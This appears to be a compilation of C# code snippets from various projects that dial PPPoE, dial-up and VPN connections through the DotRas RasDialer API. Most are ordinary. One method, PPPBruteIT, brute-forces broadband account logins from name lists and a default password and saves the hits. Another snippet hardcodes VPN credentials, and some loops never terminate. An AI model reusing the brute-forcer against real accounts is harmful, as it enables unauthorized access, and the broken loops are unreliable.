public static bool ChangeIP() { try { string mypbk = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers).ToString(); RasConnection myconn = RasConnection.GetActiveConnectionByName("adsl", mypbk); myconn.HangUp(); RasDialer dialer = new RasDialer(); // dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(dialer_DialCompleted); dialer.DialCompleted += new EventHandler<DialCompletedEventArgs>(dialer_DialCompleted); dialer.EntryName = "adsl"; dialer.PhoneNumber = ""; dialer.AllowUseStoredCredentials = true; dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); dialer.Timeout = 5000; rasDone = false; RasHandle myras = dialer.Dial(); while (myras.IsInvalid) { System.Threading.Thread.Sleep(3000); myras = dialer.Dial(); } return true; } catch { return false; } }
public int Connect(string Connection) { int flag = 0; try { CreateOrUpdatePPPOE(Connection); RasDialer dialer = new RasDialer(); dialer.EntryName = Connection; dialer.PhoneNumber = " "; dialer.AllowUseStoredCredentials = true; dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); dialer.Credentials = new NetworkCredential(user, password); dialer.Timeout = 1000; RasHandle myras = dialer.Dial(); while (myras.IsInvalid) { Thread.Sleep(1000); myras = dialer.Dial(); } if (!myras.IsInvalid) { return 0; } } catch (Exception ex) { flag = -1; } return flag; }
void Btn_DialupClick(object sender, EventArgs e) { try { string username = Username.Text.Replace("\\r","\r").Replace("\\n","\n"); string password = Password.Text.ToString(); RasDialer dialer = new RasDialer(); dialer.EntryName = "PPPoEDial"; dialer.PhoneNumber = " "; dialer.AllowUseStoredCredentials = true; dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User); dialer.Credentials = new NetworkCredential(username, password); dialer.Timeout = 1000; RasHandle myras = dialer.Dial(); while (myras.IsInvalid) { lb_Status.Text = "拨号失败"; } if (!myras.IsInvalid) { lb_Status.Text = "拨号成功! "; RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras); RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP); lb_IPAddr.Text = "获得IP: " + ipaddr.IPAddress.ToString(); btn_Dialup.Enabled = false; btn_Hungup.Enabled = true; } } catch (Exception) { lb_Status.Text = "拨号出现异常"; } }
private void dial_Click(object sender, RoutedEventArgs e) { try { string username = tb_username.Text.Replace("\\r", "\r").Replace("\\n", "\n"); string password = pb_password.Password.ToString(); RasDialer dialer = new RasDialer(); dialer.EntryName = "PPPoEDialer"; dialer.PhoneNumber = " "; dialer.AllowUseStoredCredentials = true; dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User); dialer.Credentials = new System.Net.NetworkCredential(username, password); dialer.Timeout = 500; RasHandle myras = dialer.Dial(); while (myras.IsInvalid) { lb_status.Content = "拨号失败"; } if (!myras.IsInvalid) { lb_status.Content = "拨号成功! "; RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras); RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP); lb_message.Content = "获得IP: " + ipaddr.IPAddress.ToString(); dial.IsEnabled = false; hangup.IsEnabled = true; } } catch (Exception) { lb_status.Content = "拨号出现异常"; } }
public override void Execute() { _logger.Info(() => string.Format("Dialling connection '{0}'...", _options.ConnectionName)); var dialer = new RasDialer { AllowUseStoredCredentials = true, EntryName = _options.ConnectionName, PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User) }; dialer.Dial(); _logger.Info(() => "Connected."); }
public void Connect() { if (ConnectionManager.PhoneBookPath == null) throw new Exception("Phonebookpath is null"); var dialer = new RasDialer { EntryName = Name, PhoneBookPath = ConnectionManager.PhoneBookPath, Credentials = _networkCredential }; dialer.StateChanged += (sender, args) => { Status = args.State; OnStateChanged(); }; dialer.Dial(); }
static void Main(string[] args) { //Do some UAC checks WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); bool hasAdministrativeRight = pricipal.IsInRole(WindowsBuiltInRole.Administrator); if (!hasAdministrativeRight) { RunElevated(Process.GetCurrentProcess().MainModule.FileName); return; } // This opens the phonebook so it can be used. Different overloads here will determine where the phonebook is opened/created. AllUsersPhoneBook.Open(); string EntryName = System.Configuration.ConfigurationManager.AppSettings["DialupName"]; if (!string.IsNullOrEmpty(System.Configuration.ConfigurationManager.AppSettings["host"])) { // Create the entry that will be used by the dialer to dial the connection. Entries can be created manually, however the static methods on // the RasEntry class shown below contain default information matching that what is set by Windows for each platform. RasEntry entry = RasEntry.CreateVpnEntry(EntryName, System.Configuration.ConfigurationManager.AppSettings["host"], RasVpnStrategy.PptpFirst, RasDevice.GetDeviceByName("(PPTP)", RasDeviceType.Vpn)); // Add the new entry to the phone book. try { AllUsersPhoneBook.Entries.Add(entry); } catch (System.ArgumentException err) { int x = 0; //Most likely, already exists. Continue on and try connection. } } Dialer.EntryName = EntryName; Dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); Dialer.StateChanged += new EventHandler <StateChangedEventArgs>(Dialer_StateChanged); Dialer.DialCompleted += new EventHandler <DialCompletedEventArgs>(Dialer_DialCompleted); try { if (string.IsNullOrEmpty(System.Configuration.ConfigurationManager.AppSettings["User"])) { Dialer.AllowUseStoredCredentials = true; } else { // Set the credentials the dialer should use. Dialer.Credentials = new NetworkCredential(System.Configuration.ConfigurationManager.AppSettings["User"], System.Configuration.ConfigurationManager.AppSettings["pass"]); } // NOTE: The entry MUST be in the phone book before the connection can be dialed. Dialer.Dial(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); return; } foreach (string routeLine in System.Configuration.ConfigurationManager.AppSettings["route"].Split(";".ToCharArray(), StringSplitOptions.RemoveEmptyEntries)) { string[] parts = routeLine.Split(" ".ToCharArray()); AddRoute(parts[0], parts[1], parts[2]); } }
/// <summary> /// 测试拨号连接 /// </summary> private string getNewPPPoe(string name=null ) { try { if(name ==null) { name = txtBox_pppoeName.Text.Trim(); name = string.IsNullOrEmpty(name) ? dic_pppoeName.First().Key : name; } RasDialer dialer = new RasDialer(); dialer.EntryName = name; dialer.PhoneNumber = " "; dialer.AllowUseStoredCredentials = true; dialer.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); dialer.Timeout = 1000; dialer.Dial(); Thread.Sleep(100); return LoadConnections(); } catch (Exception ex) { MessageBox.Show(ex.ToString()); } return ""; }
/// <summary> /// 宽带ip转换 /// </summary> /// <param name="kdlj">宽带连接名称 如:本地连接,宽带连接</param> /// <param name="userName">帐号</param> /// <param name="pwd">密码</param> public void ChangeIp(string kdlj, string userName, string pwd) { //hx.Mset.IsChangeIp = hx.Mset.IsChangeIp; LogServer.WriteLog("开始准备更换IP", "changeIp"); HANDUPCON: string oldIpAddress; RasConnection oldConn; GetIpAddress(out oldIpAddress, out oldConn); string entryName = ""; if (oldConn != null) { try { entryName = oldConn.EntryName; RasIPInfo ipAddresses = (RasIPInfo) oldConn.GetProjectionInfo(RasProjectionType.IP); string oldIp = ipAddresses.IPAddress.ToString(); LogServer.WriteLog("现在名称:" + entryName + "IP是" + oldIp, "changeIp"); LogServer.WriteLog("开始挂断", "changeIp"); oldConn.HangUp(10*1000); //Thread.Sleep(hx.Mset.RasHangUpSleepTime); if (RasConnection.GetActiveConnectionById(oldConn.EntryId) != null) { LogServer.WriteLog("结束挂断失败,重新挂断", "changeIp"); goto HANDUPCON; } oldConn = null; LogServer.WriteLog("结束挂断", "changeIp"); } catch (Exception ex) { LogServer.WriteLog("宽带连接挂断失败," + ex.Message, "changeIp"); } } int error = 0; do { try { // var dt = SqliteHelper.GetDataTable("select * from sys_config"); RasDialer rs = new RasDialer(); if (entryName == "") { entryName = kdlj; // dt.Rows[0]["SC_NetEntryName"].ToString(); } rs.EntryName = entryName; rs.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); rs.Credentials = new NetworkCredential(userName, pwd); rs.Dial(); rs.Dispose(); LogServer.WriteLog("开始重新拨号", "changeIp"); break; } catch (Exception ex) { error++; LogServer.WriteLog("宽带重新拨号失败" + ex.Message, "changeIp"); Thread.Sleep(30000); } } while (error < 5); if (error >= 5) { LogServer.WriteLog("宽带重新拨号5次数失败", "changeIp"); return; } if (oldConn != null) { string ipAddresses; GetIpAddress(out ipAddresses, out oldConn); if (oldIpAddress == ipAddresses) { //addlog("IP和上次重复,重新拨号"); LogServer.WriteLog("IP和上次重复,重新拨号", "changeIp"); Thread.Sleep(DialFaildSleepTime); goto HANDUPCON; } else { if (historyIps.Contains(ipAddresses)) { LogServer.WriteLog("IP和前" + IPLoopCount + "次重复,重新拨号", "changeIp"); Thread.Sleep(DialFaildSleepTime); goto HANDUPCON; } if (historyIps.Count >= IPLoopCount) { historyIps.RemoveAt(0); historyIps.Add(ipAddresses); } historyIps.Add(ipAddresses); } //addlog("现在的IP是" + ipAddresses); } //main.pppoeact = true; LogServer.WriteLog("更换成功", "changeIp"); //addlog("更换成功.. "); }
//Dialup private Error CreaVPNxTel() { Error cxnErr = new Error(); string telDefault = TransacManager.ProtoConfig.CONFIG.Telefono;// "08006665807"; string prefijo = TransacManager.ProtoConfig.CONFIG.CxnTelPrefijo;// "11000"; string separador = "w"; if (String.IsNullOrEmpty(prefijo)) { prefijo = ""; separador = ""; } string modemDefault = TransacManager.ProtoConfig.CONFIG.CxnTelNombreModem;// "Conexant USB CX93010 ACF Modem"; string user = TransacManager.ProtoConfig.CONFIG.CxnTelUser;// "bmtp"; string pass = TransacManager.ProtoConfig.CONFIG.CxnTelPass;// "bmtp"; uint timeout = TransacManager.ProtoConfig.CONFIG.CxnTelTimeout; string nombre1, nombre2, nombre3, port1, port2, port3, tel1, tel2, tel3; Conexion cxn = new Conexion(); string rdo = cxn.Leer_XMLprn(out nombre1, out nombre2, out nombre3, out port1, out port2, out port3, out tel1, out tel2, out tel3, TransacManager.ProtoConfig.CONFIG); string[] tel = new string[4]; if (rdo == null) { tel[0] = tel1; tel[1] = tel2; tel[2] = tel3; tel[3] = telDefault; } else tel[0] = telDefault; string path = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User); using (RasPhoneBook pbk = new RasPhoneBook()) { pbk.Open(path); // Find the device that will be used to dial the connection. RasDevice device = RasDevice.GetDevices().Where(u => u.Name == modemDefault && u.DeviceType == RasDeviceType.Modem).First(); RasEntry entry; ICollection<RasConnection> conecciones = RasConnection.GetActiveConnections(); if (conecciones.Count > 0) { RasConnection conn1 = conecciones.Where(o => o.EntryName == "BMTP Dial up").First(); conn1.HangUp(); } pbk.Entries.Clear(); try { entry = RasEntry.CreateDialUpEntry("BMTP Dial up", prefijo + separador + tel[0], device); if (rdo == null) { entry.AlternatePhoneNumbers.Add(prefijo + separador + tel[1]); entry.AlternatePhoneNumbers.Add(prefijo + separador + tel[2]); entry.AlternatePhoneNumbers.Add(prefijo + separador + telDefault); LogBMTP.LogMessage("Se leyó PRN. Telefonos alternativos cargados.", lvlLogCxn, TimeStampLog); } else { LogBMTP.LogMessage("No hay PRN. Intentará conectar con número telefónico por defecto.", lvlLogCxn, TimeStampLog); } //entry.Options.ModemLights = true; //entry.Options.ShowDialingProgress = true; //entry.Options.TerminalBeforeDial = true; //entry.Options.TerminalAfterDial = true; pbk.Entries.Add(entry); using (RasDialer dialer = new RasDialer()) { dialer.Dispose(); dialer.EntryName = "BMTP Dial up"; dialer.PhoneBookPath = path; dialer.Credentials = new NetworkCredential(user, pass); dialer.Timeout = (int)timeout; dialer.Options.DisableReconnect = false; dialer.Options.SetModemSpeaker = true; dialer.Dial(); } } catch (Exception e) { pbk.Entries.Clear(); LogBMTP.LogMessage(e.ToString(), lvlLogExcepciones, TimeStampLog); cxnErr.CodError = (int)ErrComunicacion.CXN_TELEFONOex; cxnErr.Descripcion = "Error de conexión. No puede establecerse una comunicación por telefono."; cxnErr.Estado = 0; LogBMTP.LogMessage("Excepción: " + cxnErr.CodError + " " + cxnErr.Descripcion, lvlLogExcepciones, TimeStampLog); LogBMTP.LogMessage("Excepción: " + e.ToString(), lvlLogExcepciones, TimeStampLog); } } return cxnErr; }
// ReSharper disable once InconsistentNaming private static void PPPBruteIT() { RasDialer dialer = new RasDialer { EntryName = ConnectorName, PhoneNumber = " ", AllowUseStoredCredentials = true, PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.User), Timeout = 1000 }; foreach (var surname in _surNames) { foreach (var firstname in _firstNames) { string username = ("wb." + firstname + "." + surname).ToLower();//common username string password = "******";//Default password try { dialer.Credentials = new NetworkCredential(username, password); RasHandle myras = dialer.Dial(); while (myras.IsInvalid) { Console.WriteLine(username + ":" + password + " - Dial failure!"); } if (myras.IsInvalid) return; Console.WriteLine(username + ":" + password + " - Dial successful!"); RasConnection conn = RasConnection.GetActiveConnectionByHandle(myras); RasIPInfo ipaddr = (RasIPInfo)conn.GetProjectionInfo(RasProjectionType.IP); Console.WriteLine(username + ":" + password + " - Obtained IP " + ipaddr.IPAddress); File.AppendAllText(FoundPath, username + ":" + password + Environment.NewLine); try { ReadOnlyCollection<RasConnection> conList = RasConnection.GetActiveConnections(); foreach (RasConnection con in conList) { con.HangUp(); } } catch (Exception ex) { Console.WriteLine(username + ":" + password + " - Logout abnormal(Exception): " + ex); } } catch (Exception ex) { if (ex.ToString().Contains("user name and password")) Console.WriteLine(username + ":" + password + " - Wrong username/password."); else Console.WriteLine(username + ":" + password + " - Dial Abnormal." + ex); } } } }
public static void ConnectThread() { try { ms_rasdialer = new RasDialer(); ms_rasdialer.EntryName = ms_entryname; //判断是否带用户名连接 if (ms_nc == null) { ms_rasdialer.Dial(); } else { ms_rasdialer.Dial(ms_nc); } } catch (Exception rde) { log.Error("ADSLManger: ConnectionThread", rde); } finally { lock (connectionlocker) { Monitor.Pulse(connectionlocker); } } }
public void Connect() { if (NetworkInterface.GetIsNetworkAvailable() && !isConnected() && !this.isConnecting) { isConnecting = true; using (RasPhoneBook pb = new RasPhoneBook()) { pb.Open(); // Using obsolete method, because the suggested method doesn't work RasEntryCollection entries = pb.Entries; RasDialer rd = new RasDialer(); rd.EntryName = "US TX"; // The name of my specific VPN connection rd.PhoneBookPath = pb.Path; rd.Credentials = new NetworkCredential("x8302947", "OemUntIewO"); System.Threading.Thread.Sleep(20000); while (!isConnected()) { if (!rd.IsBusy) // Still tries connecting if a connection is already in progress. { try { rd.Dial(); System.Threading.Thread.Sleep(20000); // Increase time if still seeing warning about already connecting // Hacky way of getting around the warning message // of multiple connection attempts // VPN is potentially unconnected for 20 secs } catch (Exception e) { // Don't break the program just cause its having trouble connecting // If a warning appears try to close it CloseWarning(); } } } isConnecting = false; timer.Enabled = true; /* TODO: Allow the user to enter this information so its more universal Manually add L2TP with preshared key string l2tpConName = "US-TX"; string ip = ""; string username = ""; string password = ""; string sharedKey = "mysafety"; RasEntry entryL2TP = RasEntry.CreateVpnEntry(l2tpConName, ip, RasVpnStrategy.L2tpOnly, RasDevice.GetDeviceByName("(L2TP)", RasDeviceType.Vpn)); pb.Entries.Add(entryL2TP); entryL2TP.UpdateCredentials(new NetworkCredential(username, password)); entryL2TP.Update(); entryL2TP.Options.UsePreSharedKey = true; entryL2TP.UpdateCredentials(RasPreSharedKey.Client, sharedKey); entryL2TP.Update();*/ } } else Connect(); }
public void DialInvalidOperationException2Test() { RasDialer dialer = new RasDialer(); dialer.EntryName = null; dialer.PhoneBookPath = null; dialer.PhoneNumber = null; dialer.Dial(); }
private void button1_Click(object sender, EventArgs e) { 创建链接函数(); 调试信息.Text += "[信息] 正在连接到服务器...\r\n"; try { RasDialer VPN拨号器 = new RasDialer(); VPN拨号器.EntryName = VPN服务名; VPN拨号器.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); if (用户名.Text == "" && 密码.Text == "") { VPN用户名 = "public"; VPN密码 = "public"; } else { VPN用户名 = 用户名.Text; VPN密码 = 密码.Text; } VPN拨号器.Credentials = new NetworkCredential(VPN用户名, VPN密码); VPN拨号器.Dial(); 调试信息.Text += "[成功] 成功建立隧道连接\r\n"; StringBuilder IP信息 = new StringBuilder(); foreach (RasConnection 当前活动链接 in RasConnection.GetActiveConnections()) { RasIPInfo 当前IP地址 = (RasIPInfo)当前活动链接.GetProjectionInfo(RasProjectionType.IP); if (当前IP地址 != null) { IP信息.AppendFormat("[信息] 客户端IP:{0}\r\n", 当前IP地址.IPAddress.ToString()); IP信息.AppendFormat("[信息] 服务器IP:{0}\r\n", 当前IP地址.ServerIPAddress.ToString()); } IP信息.AppendLine(); } 调试信息.Text += IP信息.ToString(); web 广告 = new web(); 广告.Show(); this.Hide(); this.托盘图标.Visible = true; 连接.Enabled = false; 断开连接.Enabled = true; } catch (Exception 崩溃信息) { 调试信息.Text = "[错误] 连接失败:" + 崩溃信息.Message + "\r\n"; } }
private void button1_Click(object sender, EventArgs e) { 创建链接函数(); try { RasDialer VPN拨号器 = new RasDialer(); VPN拨号器.EntryName = VPN服务名; VPN拨号器.PhoneBookPath = RasPhoneBook.GetPhoneBookPath(RasPhoneBookType.AllUsers); if (密码.Text != "") { VPN用户名 = "testvpn"; VPN密码 = 密码.Text; } VPN拨号器.Credentials = new NetworkCredential(VPN用户名, VPN密码); VPN拨号器.Dial(); 调试信息.Text = "[成功] 成功\r\n"; //timer1.Enabled = true; this.Hide(); this.托盘图标.Visible = true; 连接.Enabled = false; 密码.Enabled = false; 密码.Text = "%&*^%&^(&*(%*$^#*(&&*^%#$$&(^&"; } catch { 调试信息.Text = "[错误] 出错\r\n"; } }